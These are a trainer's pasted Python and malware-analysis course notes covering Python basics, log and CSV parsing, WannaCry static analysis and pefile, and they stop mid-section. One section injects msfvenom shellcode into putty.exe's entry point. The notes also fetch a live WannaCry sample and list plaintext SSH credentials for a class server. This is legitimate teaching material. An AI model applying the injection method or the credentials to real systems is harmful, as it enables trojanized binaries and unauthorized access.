joemccray

Sempra Python

Aug 12th, 2019
1,058
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.                             ##############################
  2. ----------- ############### # Day 1: Python Fundamentals # ############### -----------
  3.                             ##############################
  4.  
  5.  
  6. #####################
  7. # Installing Python #
  8. #####################
  9. Windows
  10.  
  11. https://www.python.org/downloads/
  12.  
  13. 32-Bit Version
  14. https://www.python.org/ftp/python/3.7.3/python-3.7.3-webinstall.exe
  15.  
  16. 64-Bit Version
  17. https://www.python.org/ftp/python/3.7.3/python-3.7.3-amd64-webinstall.exe
  18.  
  19.  
  20. After you install Python in Windows the next thing you may want to install is IdleX:
  21. http://idlex.sourceforge.net/features.html
  22.  
  23. ---------------------------Type This-----------------------------------
  24.  
  25. Linux
  26. Debian/Ubuntu:      sudo apt-get install -y python
  27. RHEL/CentOS/Fedora: sudo yum install -y python
  28.  
  29. -----------------------------------------------------------------------
  30.  
  31.  
  32. After you install Python in Linux the next thing that you will need to do is install idle.
  33.  
  34. ---------------------------Type This-----------------------------------
  35.  
  36. sudo apt-get install -y idle
  37.  
  38. -----------------------------------------------------------------------
  39.  
  40. Open IDLE, and let's just dive right in.
  41.  
  42.  
  43. - I prefer to use Putty to SSH into my Linux host.
  44. - You can download Putty from here:
  45. - http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
  46.  
  47. Here is the information to put into putty
  48.  
  49. Host Name:          107.191.39.106
  50. protocol:           ssh
  51. port:               22
  52. username:           sempra
  53. password:           semprapython3!    
  54.  
  55.  
  56. ####################################
  57. # Python Lesson 1: Simple Printing #
  58. ####################################
  59.  
  60. ---------------------------Type This-----------------------------------
  61. $ python3
  62.  
  63. >>> print ("Today we are learning Python.")
  64.  
  65. >>> exit()
  66. -----------------------------------------------------------------------
  67.  
  68.  
  69.  
  70.  
  71. ############################################
  72. # Python Lesson 2: Simple Numbers and Math #
  73. ############################################
  74.  
  75. ---------------------------Type This-----------------------------------
  76. $ python3
  77.  
  78. >>> 2+2
  79.  
  80. >>> 6-3
  81.  
  82. >>> 18/7
  83.  
  84. >>> 18.0/7
  85.  
  86. >>> 18.0/7.0
  87.  
  88. >>> 18/7
  89.  
  90. >>> 9%4
  91. 1
  92. >>> 8%4
  93. 0
  94. >>> 8.75%.5
  95.  
  96. >>> 6.*7
  97.  
  98. >>> 7*7*7
  99.  
  100. >>> 7**3
  101.  
  102. >>> 5**12
  103.  
  104. >>> -5**4
  105.  
  106. >>> exit()
  107.  
  108. -----------------------------------------------------------------------
  109.  
  110.  
  111.  
  112. ##############################
  113. # Python Lesson 3: Variables #
  114. ##############################
  115.  
  116. ---------------------------Type This-----------------------------------
  117. $ python3
  118.  
  119. >>> x=18
  120.  
  121. >>> x+15
  122.  
  123. >>> x**3
  124.  
  125. >>> y=54
  126.  
  127. >>> g=int(input("Enter number here: "))
  128. Enter number here: 43
  129. >>> g
  130.  
  131. >>> g+32
  132.  
  133. >>> g**3
  134.  
  135. >>> exit()
  136.  
  137. -----------------------------------------------------------------------
  138.  
  139.  
  140.  
  141.  
  142.  
  143. ##########################################
  144. # Python Lesson 4: Modules and Functions #
  145. ##########################################
  146.  
  147. ---------------------------Type This-----------------------------------
  148. $ python3
  149.  
  150. >>> 5**4
  151.  
  152. >>> pow(5,4)
  153.  
  154. >>> abs(-18)
  155.  
  156. >>> abs(5)
  157.  
  158. >>> floor(18.7)
  159.  
  160. >>> import math
  161.  
  162. >>> math.floor(18.7)
  163.  
  164. >>> math.sqrt(81)
  165.  
  166. >>> joe = math.sqrt
  167.  
  168. >>> joe(9)
  169.  
  170. >>> joe=math.floor
  171.  
  172. >>> joe(19.8)
  173.  
  174. >>> exit()
  175.  
  176. -----------------------------------------------------------------------
  177.  
  178.  
  179.  
  180. ############################
  181. # Python Lesson 5: Strings #
  182. ############################
  183.  
  184. ---------------------------Type This-----------------------------------
  185. $ python3
  186.  
  187. >>> "XSS"
  188.  
  189. >>> 'SQLi'
  190.  
  191. >>> "Joe's a python lover"
  192.  
  193. >>> "Joe said \"InfoSec is fun\" to me"
  194.  
  195. >>> a = "Joe"
  196.  
  197. >>> b = "McCray"
  198.  
  199. >>> a, b
  200.  
  201. >>> a+b
  202.  
  203. >>> exit()
  204. -----------------------------------------------------------------------
  205.  
  206.  
  207.  
  208.  
  209.  
  210. #################################
  211. # Python Lesson 6: More Strings #
  212. #################################
  213.  
  214. ---------------------------Type This-----------------------------------
  215. $ python3
  216.  
  217. >>> num = 10
  218.  
  219. >>> num + 2
  220.  
  221. >>> "The number of open ports found on this system is ",  num
  222.  
  223. >>> num = str(18)
  224.  
  225. >>> "There are ", num, " vulnerabilities found in this environment."
  226.  
  227. >>> num2 = 46
  228.  
  229. >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is ", + num2
  230.  
  231. >>> exit()
  232. -----------------------------------------------------------------------
  233.  
  234.  
  235.  
  236.  
  237.  
  238. ########################################
  239. # Python Lesson 7: Sequences and Lists #
  240. ########################################
  241.  
  242. ---------------------------Type This-----------------------------------
  243. $ python3
  244.  
  245. >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
  246.  
  247. >>> attacks
  248. ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
  249.  
  250. >>> attacks[3]
  251. 'SQL Injection'
  252.  
  253. >>> attacks[-2]
  254. 'Cross-Site Scripting'
  255.  
  256. >>> exit()
  257.  
  258.  
  259.  
  260. ------------------------------- Summary of fundamentals -------------------------------
  261.  
  262.  
  263. Joe rule #1 single quote, single quote, left arrow
  264. --------------------------------------------------
  265. '' <-- as soon as you type '', then hit your left arrow key to put you inside of the ''
  266. "" <-- as soon as you type "", then hit your left arrow key to put you inside of the ""
  267. something() <-- as soon as you type (), then hit your left arrow key to put you inside of the ()
  268. something[] <-- as soon as you type [], then hit your left arrow key to put you inside of the []
  269. something{} <-- as soon as you type {}, then hit your left arrow key to put you inside of the {}
  270.  
  271. -- Now kick it up a notch
  272. []  <-- as soon as you type [], then hit your left arrow key to put you inside of the []
  273. [()] <-- as soon as you type (), then hit your left arrow key to put you inside of the ()
  274. [({})] <-- as soon as you type {}, then hit your left arrow key to put you inside of the {}
  275. [({"''"})] <-- as soon as you type "", then hit your left arrow key to put you inside of the ""
  276. [({"''"})] <-- as soon as you type '', then hit your left arrow key to put you inside of the ''        
  277.  
  278.  
  279.  
  280. Joe rule #2 "Code can only do 3 things"
  281. --------------------------------------
  282.  
  283. Process     -   read, write, math
  284.  
  285. Decision    -   if/then
  286.  
  287. Loop        -   for
  288.  
  289.  
  290.  
  291.  
  292. Joe rule #3 "Never more than 5-10"
  293. ---------------------------------
  294.  
  295. -----5 lines of code----
  296. line 1 blah blah blah
  297. line 2 blah blah blah
  298. line 3 blah blah blah
  299. line 4 blah blah blah
  300. line 5 blah blah blah
  301.  
  302.  
  303.     sales_tax   =   price       *   tax_rate
  304.  
  305.  
  306.     0.80        =   10      *   0.08
  307.  
  308. -----5-10 lines of code---- = function
  309.     price = 10
  310.    
  311.     def st():
  312.         sales_tax = price * 0.08
  313.         print(sales_tax)
  314.  
  315.  
  316. st(10) <---- how to run a function
  317.  
  318. -----5-10 functions ---- = class   "tax class"
  319. st()
  320. lt()
  321. pt()
  322. it()
  323. dt()
  324.  
  325.  
  326.  
  327. tax.st()
  328. tax.lt()
  329.  
  330. -----5-10 functions ---- = class   "expense class"
  331. gas()
  332. elec()
  333. water()
  334. food()
  335. beer()
  336.  
  337. expense.gas()
  338.  
  339.  
  340. -----5-10 classes ---- = module   "finance module"
  341.  
  342. import finance
  343.  
  344.  
  345. ------------------------------- Summary of fundamentals -------------------------------
  346.  
  347. ##################################
  348. # Lesson 8: Intro to Log Analysis #
  349. ##################################
  350.  
  351.  
  352. Log into your Linux host then execute the following commands:
  353. -----------------------------------------------------------------------
  354. NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt.
  355.  
  356.  
  357.  
  358. ---------------------------Type This-----------------------------------
  359. mkdir yourname          <---- Use your actual first name (all lowercase and no spaces) instead of the word yourname
  360.  
  361. cd yourname
  362.  
  363. wget http://pastebin.com/raw/85zZ5TZX
  364.  
  365. mv 85zZ5TZX access_log
  366.  
  367.  
  368. cat access_log | grep 141.101.80.188
  369.  
  370. cat access_log | grep 141.101.80.188 | wc -l
  371.  
  372. cat access_log | grep 141.101.80.187
  373.  
  374. cat access_log | grep 141.101.80.187 | wc -l
  375.  
  376. cat access_log | grep 108.162.216.204
  377.  
  378. cat access_log | grep 108.162.216.204 | wc -l
  379.  
  380. cat access_log | grep 173.245.53.160
  381.  
  382. cat access_log | grep 173.245.53.160 | wc -l
  383.  
  384. ----------------------------------------------------------------------
  385.  
  386.  
  387.  
  388.  
  389.  
  390.  
  391.  
  392. ###############################################################
  393. # Python Lesson 9: Use Python to read in a file line by line  #
  394. ###############################################################
  395.  
  396.  
  397. ---------------------------Type This-----------------------------------
  398.  
  399. nano logread1.py
  400.  
  401.  
  402. ---------------------------Paste This-----------------------------------
  403. ## Open the file with read only permit
  404. f = open('access_log', "r")
  405.  
  406. ## use readlines to read all lines in the file
  407. ## The variable "lines" is a list containing all lines
  408. lines = f.readlines()
  409.  
  410. print (lines)
  411.  
  412.  
  413. ## close the file after reading the lines.
  414. f.close()
  415.  
  416. ----------------------------------------------------------------------
  417.  
  418.  
  419.  
  420.  
  421. ---------------------------Type This-----------------------------------
  422. $ python3 logread1.py
  423. ----------------------------------------------------------------------
  424.  
  425.  
  426.  
  427. Google the following:
  428.     - python difference between readlines and readline
  429.     - python readlines and readline
  430.  
  431.  
  432. Here is one student's solution - can you please explain each line of this code to me?
  433.  
  434.  
  435. ---------------------------Type This-----------------------------------
  436. nano ip_search.py
  437.  
  438.  
  439. ---------------------------Paste This-----------------------------------
  440. #!/usr/bin/env python3
  441.  
  442. f = open('access_log')
  443.  
  444. strUsrinput = input("Enter IP Address: ")
  445.  
  446. for line in iter(f):
  447.   ip = line.split(" - ")[0]
  448.   if ip == strUsrinput:
  449.       print (line)
  450.  
  451. f.close()
  452.  
  453.  
  454. ----------------------------------------------------------------------
  455.  
  456.  
  457.  
  458.  
  459. ---------------------------Type This-----------------------------------
  460. $ python3 ip_search.py
  461. ----------------------------------------------------------------------
  462.  
  463.  
  464.  
  465. Working with another student after class we came up with another solution:
  466.  
  467. ---------------------------Type This-----------------------------------
  468. nano ip_search2.py
  469.  
  470. ---------------------------Paste This-----------------------------------
  471. #!/usr/bin/env python3
  472.  
  473.  
  474. # This line opens the log file
  475. f=open('access_log',"r")
  476.  
  477. # This line takes each line in the log file and stores it as an element in the list
  478. lines = f.readlines()
  479.  
  480.  
  481. # This lines stores the IP that the user types as a var called userinput
  482. userinput = input("Enter the IP you want to search for: ")
  483.  
  484.  
  485.  
  486. # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
  487. for ip in lines:
  488.   if ip.find(userinput) != -1:
  489.       print (ip)
  490.  
  491. ----------------------------------------------------------------------
  492.  
  493.  
  494.  
  495. ---------------------------Type This-----------------------------------
  496. $ python3 ip_search2.py
  497. ----------------------------------------------------------------------
  498.  
  499.  
  500. ################################
  501. # Lesson 10: Parsing CSV Files #
  502. ################################
  503.  
  504. Type the following commands:
  505. ---------------------------------------------------------------------------------------------------------
  506.  
  507. ---------------------------Type This-----------------------------------
  508.  
  509. wget http://45.63.104.73/class_nessus.csv
  510.  
  511. ----------------------------------------------------------------------
  512.  
  513. Example 1 - Reading CSV files
  514. -----------------------------
  515. #To be able to read csv formated files, we will first have to import the
  516. #csv module.
  517.  
  518.  
  519. ---------------------------Type This-----------------------------------
  520. $ python3
  521. f = open('class_nessus.csv', 'r')
  522. for row in f:
  523.   print (row)
  524.      
  525.  
  526. ----------------------------------------------------------------------
  527.  
  528.  
  529.  
  530. Example 2 - Reading CSV files
  531. -----------------------------
  532.  
  533. ---------------------------Type This-----------------------------------
  534.  
  535. nano readcsv.py
  536.  
  537. ---------------------------Paste This-----------------------------------
  538. #!/usr/bin/env python3
  539. f = open('class_nessus.csv', 'r')      # opens the csv file
  540. try:
  541.     for row in f:                       # iterates the rows of the file in orders
  542.         print (row)                     # prints each row
  543. finally:
  544.     f.close()                           # closing
  545.  
  546.  
  547.  
  548. ----------------------------------------------------------------------
  549.  
  550.  
  551.  
  552. Ok, now let's run this thing.
  553.  
  554. --------------------------Type This-----------------------------------
  555. $ python3 readcsv.py
  556.  
  557. ----------------------------------------------------------------------
  558.  
  559.  
  560.  
  561.  
  562. Example 3 - - Reading CSV files
  563. -------------------------------
  564.  
  565. ---------------------------Type This-----------------------------------
  566.  
  567. nano readcsv2.py
  568.  
  569. ---------------------------Paste This-----------------------------------
  570. #!/usr/bin/python3
  571. # This program will then read it and displays its contents.
  572.  
  573. import csv
  574.  
  575. ifile  = open('class_nessus.csv', "r")
  576. reader = csv.reader(ifile)
  577.  
  578. rownum = 0
  579. for row in reader:
  580.     # Save header row.
  581.     if rownum == 0:
  582.         header = row
  583.     else:
  584.         colnum = 0
  585.         for col in row:
  586.             print ('%-8s: %s' % (header[colnum], col))
  587.             colnum += 1
  588.            
  589.     rownum += 1
  590.  
  591. ifile.close()
  592.  
  593.  
  594.  
  595. ----------------------------------------------------------------------
  596.  
  597.  
  598.  
  599. ---------------------------Type This-----------------------------------
  600.  
  601. $ python3 readcsv2.py | less
  602.  
  603.  
  604. ----------------------------------------------------------------------
  605.  
  606.  
  607.  
  608.  
  609.  
  610.  
  611.  
  612.  
  613.  
  614. ---------------------------Type This-----------------------------------
  615.  
  616. nano readcsv3.py
  617.  
  618. ---------------------------Paste This-----------------------------------
  619. #!/usr/bin/python3
  620. import csv
  621. f = open('class_nessus.csv', 'r')
  622. try:
  623.     rownum = 0
  624.     reader = csv.reader(f)
  625.     for row in reader:
  626.          #Save header row.
  627.         if rownum == 0:
  628.             header = row
  629.         else:
  630.             colnum = 0
  631.             if row[3].lower() == 'high':
  632.                 print ('%-1s: %s     %-1s: %s     %-1s: %s     %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]))
  633.         rownum += 1
  634. finally:
  635.     f.close()
  636.  
  637. -----------------------------------------------------------------------
  638.  
  639.  
  640. ---------------------------Type This-----------------------------------
  641.  
  642. $ python3 readcsv3.py | less
  643. -----------------------------------------------------------------------
  644.  
  645.  
  646.  
  647. ---------------------------Type This-----------------------------------
  648.  
  649. nano readcsv4.py
  650. -----------------------------------------------------------------------
  651.  
  652. ---------------------------Paste This-----------------------------------
  653.  
  654. #!/usr/bin/python3
  655. import csv
  656. f = open('class_nessus.csv', 'r')
  657. try:
  658.     print ('/---------------------------------------------------/')
  659.     rownum = 0
  660.     hosts = {}
  661.     reader = csv.reader(f)
  662.     for row in reader:
  663.         # Save header row.
  664.         if rownum == 0:
  665.             header = row
  666.         else:
  667.             colnum = 0
  668.             if row[3].lower() == 'high' and row[4] not in hosts:
  669.                 hosts[row[4]] = row[4]
  670.                 print ('%-1s: %s     %-1s: %s     %-1s: %s     %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]))
  671.         rownum += 1
  672. finally:
  673.     f.close()
  674. ----------------------------------------------------------------------
  675.  
  676.  
  677.  
  678. $ python3 readcsv4.py | less
  679.  
  680. ----------------------------------------------------------------------
  681.  
  682.  
  683.  
  684.  
  685.  
  686.  
  687.  
  688.                             #######################################
  689. ----------- ############### # Day 2: Malware analysis with Python # ############### -----------
  690.                             #######################################
  691. Here is the information to put into putty
  692.  
  693. Host Name:          107.191.39.106
  694. protocol:           ssh
  695. port:               22
  696. username:           sempra
  697. password:           semprapython3!
  698.  
  699.  
  700. file wannacry.exe
  701.  
  702. objdump -x wannacry.exe
  703.  
  704. strings wannacry.exe
  705.  
  706. strings --all wannacry.exe | head -n 6
  707.  
  708. strings wannacry.exe | grep -i dll
  709.  
  710. strings wannacry.exe | grep -i library
  711.  
  712. strings wannacry.exe | grep -i reg
  713.  
  714. strings wannacry.exe | grep -i key
  715.  
  716. strings wannacry.exe | grep -i rsa
  717.  
  718. strings wannacry.exe | grep -i open
  719.  
  720. strings wannacry.exe | grep -i get
  721.  
  722. strings wannacry.exe | grep -i mutex
  723.  
  724. strings wannacry.exe | grep -i irc
  725.  
  726. strings wannacry.exe | grep -i join        
  727.  
  728. strings wannacry.exe | grep -i admin
  729.  
  730. strings wannacry.exe | grep -i list
  731.  
  732.  
  733. pe info wannacry.exe
  734. pe check wannacry.exe
  735. pe dump --section text wannacry.exe
  736. pe dump --section data wannacry.exe
  737. pe dump --section rsrc wannacry.exe
  738. pe dump --section reloc wannacry.exe
  739. strings rdata | less
  740. strings rsrc | less
  741. strings text | less
  742.  
  743.  
  744. ##################################
  745. # How do we do this with Python3 #
  746. ##################################
  747.  
  748. Reference page:
  749. https://axcheron.github.io/pe-format-manipulation-with-pefile/
  750.  
  751. ---------------------------Type This-----------------------------------
  752. wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
  753.  
  754. python3
  755. import pefile
  756.  
  757. exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
  758.  
  759. try:
  760.     pe = pefile.PE(exe_path)
  761.     # This is also a valid function call
  762.     # pe = pefile.PE(name=exe_path)
  763. except OSError as e:
  764.     print(e)
  765. except pefile.PEFormatError as e:
  766.     print("[-] PEFormatError: %s" % e.value)
  767. -----------------------------------------------------------------------
  768.  
  769.  
  770.  
  771. It’s also possible to parse raw PE data by using data as parameter.
  772. ---------------------------Type This-----------------------------------
  773. import pefile
  774. import mmap
  775.  
  776. exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
  777.  
  778.  
  779. fd = open(exe_path, 'rb')               # Map the executable in memory
  780. pe_data = mmap.mmap(fd.fileno(), 0, access=mmap.ACCESS_READ)
  781.  
  782.  
  783. pe = pefile.PE(data=pe_data)            # Parse the data contained in the buffer
  784.  
  785. -----------------------------------------------------------------------
  786.  
  787.  
  788.  
  789.  
  790.  
  791. ---------------------------Type This-----------------------------------
  792. import pefile
  793.  
  794. exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
  795.  
  796. pe = pefile.PE(exe_path, fast_load=True)
  797.  
  798. # Then you can call the following method later in your code
  799. pe.full_load()
  800. -----------------------------------------------------------------------
  801.  
  802.  
  803.  
  804. Reading the Header Members
  805. Once the executable is successfully parsed, the data is readily available as attributes of the PE instance. Let’s read the following attributes:
  806.  
  807. e_magic or IMAGE_DOS_HEADER. It should be equal to 0x5A4D (MZ)
  808. signature or IMAGE_NT_HEADERS. It should be equal to 0x4550 (PE)
  809. ---------------------------Type This-----------------------------------
  810. import pefile
  811.  
  812. exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
  813. pe = pefile.PE(exe_path)
  814.  
  815. print("[*] e_magic value: %s" % hex(pe.DOS_HEADER.e_magic))
  816. print("[*] Signature value: %s" % hex(pe.NT_HEADERS.Signature))
  817. -----------------------------------------------------------------------
  818.  
  819.  
  820.  
  821.  
  822. If you want to enemuerate each members of a specific structure, like DOS_HEADER, it can easily be done by using a for loop.
  823. ---------------------------Type This-----------------------------------
  824. import pefile
  825.  
  826. exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
  827. pe = pefile.PE(exe_path)
  828.  
  829. print("[*] Listing DOS_HEADER fields...")
  830. for keys in pe.DOS_HEADER.__keys__:
  831.     for field in keys:
  832.         print('\t' + field)
  833. -----------------------------------------------------------------------
  834.  
  835.  
  836.  
  837.  
  838.  
  839. You can also diplay the full content of a structure by using the dump() method. It will returns a string representation of the structure.
  840. ---------------------------Type This-----------------------------------
  841. import pefile
  842.  
  843. exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
  844. pe = pefile.PE(exe_path)
  845.  
  846. for field in pe.DOS_HEADER.dump():
  847.     print(field)
  848. -----------------------------------------------------------------------
  849.  
  850.  
  851.  
  852. Data Directories
  853. Now, we will list the Data Directories. Those directories contains address/size pairs for special tables that are found in the image file and are used by the operating system (for example, the import table and the export table). We can find the number of Data Directories in NumberOfRvaAndSizes located in the Optional Header struture.
  854. ---------------------------Type This-----------------------------------
  855. import pefile
  856.  
  857. exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
  858. pe = pefile.PE(exe_path)
  859.  
  860. print("[*] Number of data directories = %d" % pe.OPTIONAL_HEADER.NumberOfRvaAndSizes)
  861. for data_directory in pe.OPTIONAL_HEADER.DATA_DIRECTORY:
  862.     print('\t' + data_directory.name)
  863. -----------------------------------------------------------------------
  864.  
  865.  
  866.  
  867.  
  868. You can also display the address/size pairs of each of them:
  869. ---------------------------Type This-----------------------------------
  870. import pefile
  871. exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
  872. pe = pefile.PE(exe_path)
  873.  
  874. for data_dir in pe.OPTIONAL_HEADER.DATA_DIRECTORY:
  875.     print(data_dir)
  876. -----------------------------------------------------------------------
  877.  
  878.  
  879.  
  880.  
  881. Listing the Symbols
  882. Imports
  883. To list the imported DLLs by the executable, we can iterate through the data directory DIRECTORY_ENTRY_IMPORT
  884. ---------------------------Type This-----------------------------------
  885. import pefile
  886.  
  887. exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
  888. pe = pefile.PE(exe_path)
  889.  
  890. print("[*] Listing imported DLLs...")
  891. for entry in pe.DIRECTORY_ENTRY_IMPORT:
  892.     print('\t' + entry.dll.decode('utf-8'))
  893. -----------------------------------------------------------------------
  894.  
  895.  
  896.  
  897.  
  898.  
  899. Then, we can list each imported function in a specific DLL, for example, kernel32.dll.
  900. ---------------------------Type This-----------------------------------
  901. import pefile
  902.  
  903. exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
  904. pe = pefile.PE(exe_path)
  905.  
  906. for entry in pe.DIRECTORY_ENTRY_IMPORT:
  907.     dll_name = entry.dll.decode('utf-8')
  908.     if dll_name == "KERNEL32.dll":
  909.         print("[*] Kernel32.dll imports:")
  910.         for func in entry.imports:
  911.             print("\t%s at 0x%08x" % (func.name.decode('utf-8'), func.address))
  912. -----------------------------------------------------------------------
  913.  
  914.  
  915.  
  916. Listing the Sections
  917. Sections are added to a list accesible as the attribute sections in the PE instance. The common structure members of the section header are reachable as attributes.
  918. ---------------------------Type This-----------------------------------
  919. import pefile
  920.  
  921. exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
  922. pe = pefile.PE(exe_path)
  923.  
  924. for section in pe.sections:
  925.     print(section.Name.decode('utf-8'))
  926.     print("\tVirtual Address: " + hex(section.VirtualAddress))
  927.     print("\tVirtual Size: " + hex(section.Misc_VirtualSize))
  928.     print("\tRaw Size: " + hex(section.SizeOfRawData))
  929. -----------------------------------------------------------------------
  930.  
  931.  
  932.  
  933. You can also dump the full content of a section by passing its index to sections
  934. ---------------------------Type This-----------------------------------
  935. import pefile
  936.  
  937. exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
  938. pe = pefile.PE(exe_path)
  939.  
  940. print pe.sections[0]
  941. -----------------------------------------------------------------------
  942.  
  943.  
  944.  
  945.  
  946.  
  947. Modifying the Structures
  948. One of the most interesting functionality of pefile is editing executables. All values support assignment, so we can easily alter an executable. Let’s rename the .text section as an example:
  949. ---------------------------Type This-----------------------------------
  950. import pefile
  951.  
  952. exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
  953. pe = pefile.PE(exe_path)
  954.  
  955. print("[*] Original Section name = %s" % pe.sections[0].Name.decode('utf-8'))
  956. print("[*] Editing values...\n")
  957.  
  958. # Edit values
  959. pe.sections[0].Name = ".axc".encode()
  960.  
  961. # Save the change in another executable
  962. new_exe_path = r"C:\Users\User\Desktop\new_putty.exe"
  963. pe.write(new_exe_path)
  964.  
  965. # Check the values
  966. new_pe = pefile.PE(new_exe_path)
  967. print("[*] New Section name = %s" % new_pe.sections[0].Name.decode('utf-8'))
  968. -----------------------------------------------------------------------
  969.  
  970.  
  971.  
  972.  
  973. Code Injection
  974. Now, let’s try to inject code into the executable. Here we will inject a shellcode at the entry point. It will corrupt the executable as we will overwrite the orginal code to execute the shellcode. To do this, we will use the set_bytes_at_offset() method. It overwrite the bytes at the given file offset with the given string, it takes 2 arguments:
  975.  
  976. Offset, containing the offset where we want to write the data
  977. Data, the data…
  978. ---------------------------Type This-----------------------------------
  979. import pefile
  980.  
  981. exe_path = "/home/sempra/j0e/putty.exe"     # Make sure you change the file path to your name
  982. pe = pefile.PE(exe_path)
  983.  
  984. # msfvenom -p windows/messagebox -f py
  985. # Payload size: 272 bytes
  986. # Final size of py file: 1308 bytes
  987. shellcode = bytes(b"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9")
  988. shellcode += b"\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"
  989. shellcode += b"\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"
  990. shellcode += b"\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28"
  991. shellcode += b"\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34"
  992. shellcode += b"\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84"
  993. shellcode += b"\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24"
  994. shellcode += b"\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"
  995. shellcode += b"\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c"
  996. shellcode += b"\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e"
  997. shellcode += b"\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e"
  998. shellcode += b"\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89"
  999. shellcode += b"\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68"
  1000. shellcode += b"\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56"
  1001. shellcode += b"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
  1002. shellcode += b"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68"
  1003. shellcode += b"\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c"
  1004. shellcode += b"\x24\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x4d\x53\x46"
  1005. shellcode += b"\x21\x68\x72\x6f\x6d\x20\x68\x6f\x2c\x20\x66\x68\x48"
  1006. shellcode += b"\x65\x6c\x6c\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2"
  1007. shellcode += b"\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"
  1008.  
  1009. ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint
  1010. print("[*] Writting %d bytes at offset %s" % (len(shellcode), hex(ep)))
  1011. pe.set_bytes_at_offset(ep, shellcode)
  1012.  
  1013. new_exe_path = r"/home/sempra/j0e/new_putty.exe"
  1014. pe.write(new_exe_path)
  1015. -----------------------------------------------------------------------
  1016. By executing the new executable, you should see a message box indicating that the injection was successful.
  1017.  
  1018. Note: To generate the shellcode I used Metasploit.
  1019.  
  1020. Conclusion
  1021. There are many other features you should try like matching PEiD signatures, but you should play be able to play with it on your own now.
  1022.  
  1023.  
  1024.  
  1025.  
  1026.  
  1027.  
  1028.  
  1029.  
  1030.  
  1031.  
  1032.  
  1033.  
  1034. Indicators of Compromise (IoC)
  1035. -----------------------------
  1036.  
  1037. 1. Modify the filesystem
  1038. 2. Modify the registry          - ADVAPI32.dll (persistance)
  1039. 3. Modify processes/services
  1040. 4. Connect to the network       - WS2_32.dll
  1041.  
  1042.  
  1043.  
  1044. if you can't detect a registry change across 5% of your network
  1045.  
  1046.  
  1047.  
  1048. EDR Solution
  1049. ------------
  1050.  
  1051.  
  1052. 1. Static Analysis  <----------------------------------------- Cloud based static analysis
  1053. Learn everything I can without actually running the file
  1054.     - Modify FS                     - File integrity checker
  1055.     - Modify registry
  1056.     - Modify processes/services
  1057.     - Connect to the network
  1058.  
  1059.  
  1060.  
  1061. 2. Dynamic Analysis
  1062. Runs the file in a VM/Sandbox
  1063.  
  1064. ################
  1065. # The Scenario #
  1066. ################
  1067. You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
  1068.  
  1069.  
  1070. The fastest thing you can do is perform static analysis.
  1071.  
  1072.  
  1073.  
  1074.  
  1075. ###################
  1076. # Static Analysis #
  1077. ###################
  1078.  
  1079. - After logging please open a terminal window and type the following commands:
  1080. ---------------------------Type This-----------------------------------
  1081.  
  1082. cd ~/yourname
  1083.  
  1084. wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
  1085.  
  1086.  
  1087.  
  1088. wget http://45.63.104.73/wannacry.zip
  1089.  
  1090. unzip wannacry.zip
  1091.      infected
  1092.  
  1093. file wannacry.exe
  1094.  
  1095. mv wannacry.exe malware.pdf
  1096.  
  1097. file malware.pdf
  1098.  
  1099. mv malware.pdf wannacry.exe
  1100.  
  1101. hexdump -n 2 -C wannacry.exe
  1102.  
  1103. -----------------------------------------------------------------------
  1104.  
  1105.  
  1106.  
  1107. ***What is '4d 5a' or 'MZ'***
  1108. Reference:
